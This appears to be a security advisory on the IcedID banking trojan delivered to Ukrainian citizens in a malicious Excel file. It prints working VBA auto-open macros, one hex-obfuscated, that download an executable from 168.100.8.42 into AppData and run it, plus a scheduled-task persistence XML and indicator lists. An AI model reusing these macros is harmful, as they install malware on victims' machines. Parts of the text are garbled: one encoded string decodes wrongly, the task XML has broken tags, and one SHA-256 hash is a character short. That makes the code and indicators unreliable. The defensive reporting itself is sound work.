


Severity

Medium

Analysis Summary

IcedID, aka BokBot — a banking trojan — first appeared in 2017. The threat actor behind IcedID is Lunar Spider. The main purpose of this trojan is to steal financial information but aside from this, it is also a passage for a RAT. Initially, it was delivered as a later-stage payload from multiple threats including Emotet, TrickBot, and Hancitor. Recently, it is observed that its threat actors are using several new techniques to avoid detection by the sandbox and endpoint security. This trojan has capabilities similar to Zeus, Dridex, and Gozi (financial threats). IcedID can download different additional modules and a configuration file from C2. It performs its task of stealing information by deploying a man-in-the-browser attack which assists in gaining banking credentials.

The government team for responding to computer emergencies in Ukraine [CERT-UA](#) revealed the fact of mass distribution among citizens of Ukraine XLS-documents called “Mobilization Register.xls”.



Мобілізаційний реєстр

```
Function oybxlqihnpvpor(ByVal ehpnvqmdk As String) As String
Dim rbwmmdwppd As Long
For rbwmmdwppd = 1 To Len(ehpnvqmdk) Step 2
oybxlqihnpvpor = oybxlqihnpvpor & Chr$(Val("&H" & Mid$(ehpnvqmdk, rbwmmdwppd, 2)))
Next rbwmmdwppd
End Function

Sub Workbook_Open()
Application.ScreenUpdating = False
Dim xHttp: Set peudjntzevy = CreateObject(oybxlqihnpvpor("4d6963726f7366f66742e584d4c48") & oybxlqihnpvpor("545450"))
Dim bStrm: Set nzioxxa = CreateObject(oybxlqihnpvpor("41646f6462") & oybxlqihnpvpor("2e53747265616d"))
peudjntzevy.Open oybxlqihnpvpor("474554"), oybxlqihnpvpor("687474703a2f2f3136382e3130302e382e3432") & oybxlqihnpvpor("2f6d6963726f2e657865"), False
peudjntzevy.Send
Dim lexczwl As String
lexczwl = Environ("AppData")
With nzioxxa
.Type = 1
.Open
.write peudjntzevy.responseBody
.savetofile lexczwl & oybxlqihnpvpor("5c736c69") & oybxlqihnpvpor("6b2e657865"), 2
End With
Shell (lexczwl & oybxlqihnpvpor("5c73") & oybxlqihnpvpor("6c696b2e657865"))
Application.ScreenUpdating = True
End Sub
```

```
Sub Workbook_Open()
Application.ScreenUpdating = False
Dim xHttp: Set jgccsmkbfbbunzevjs = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set ecxtnnvma = CreateObject("Adodb.Stream")
jgccsmkbfbbunzevjs.Open "GET", "http://168.100.8.42/spisok.exe", False
jgccsmkbfbbunzevjs.Send
Dim leicqooi As String
leicqooi = Environ("AppData")
With ecxtnnvma
.Type = 1
.Open
.write jgccsmkbfbbunzevjs.responseBody
.savetofile leicqooi & "\runsx.exe", 2
End With
Shell (leicqooi & "\runsx.exe")
Application.ScreenUpdating = True
End Sub
```

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo />
  <Triggers>
    <TimeTrigger id="TimeTrigger">
      <Repetition>
        <Interval>PT1H</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2012-01-01T12:00:00</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
    <LogonTrigger id="LogonTrigger">
      <Enabled>true</Enabled>
      <UserId>user</UserId>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>WIN-WIN\admin</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunAsLevel>IntegrityAvailable</RunAsLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
  </Settings>
  <Duration>PT10M</Duration>
  <WaitTimeout>PT1H</WaitTimeout>
  <StopIfIdle>true</StopIfIdle>
  <RestartOnIdle>false</RestartOnIdle>
  </IdleSettings>
  <AllowStartOnDemand>true</AllowStartOnDemand>
  <Enabled>true</Enabled>
  <Hidden>false</Hidden>
  <RunOnlyIfIdle>false</RunOnlyIfIdle>
  <WakeToRun>false</WakeToRun>
  <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
  <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>cmd /c </Command>
      <Arguments>C:\Users\admin\AppData\Roaming\devi\viab62.dll,dlMain
      </Arguments>
    </Exec>
  </Actions>
</Task>
```

Impact

- Financial Loss
- Exposure of Sensitive Data

Indicators of Compromise

Domain Name

- rivertimad[.]com
- winuvinnosluk[.]club
- successilin[.]top

Filename

- Mobilization Registry[.]xls
- ggthvjhvjhb[.]xls
- spisok[.]exe

IP

- 168[.]100[.]8[.]42

- 188[.]166[.]154[.]118
- 134[.]209[.]144[.]87

**MD5**

- bdfca142fc1408ab2028019775a95a8a
- 9f33887a8e76c246753e71b896a904b3
- 5b4deca6a14eb777fdd882a712006303
- c52150ad226963a07cfc144d9cea73c7

**SHA-256**

- 8f7e3471c1bb2b264d1b8f298e7b7648dac84ffd8fb2125f3b2566353128e127
- 65b208943d8cf82af902c39400bdd7a26fdb94c23f9d4494cf0a2ca51233213
- de7bcc556dde40d347b003d891f36c2a733131593ce2b9382f0bd9ade123d54a
- ac1d19c5942946f9eee6bc748dee032b97eb3ec3e4bb64fead3e5ac101fb1bc8

**SHA-1**

- 5570baa3053ae3903af1caa09987c7cf248e5264
- 19fa96a6d69146fceef3f3804cd978ec24adb3eb
- cdaf7fd3ee4ab81fae5f7f51d0a71bc32c08b96f
- 235912e865829ae7b9196fc4a1df4dfe8123dcfb

**URL**

- http[:]//168[.]100[.]8[.]42/micro[[]]exe
- http[:]//rivertimad[.]com/
- http[:]//168[.]100[.]8[.]42/list[[]]exe

**Remediation**

- Block all threat indicators at their respective controls.
- Search for IOCs in your environment.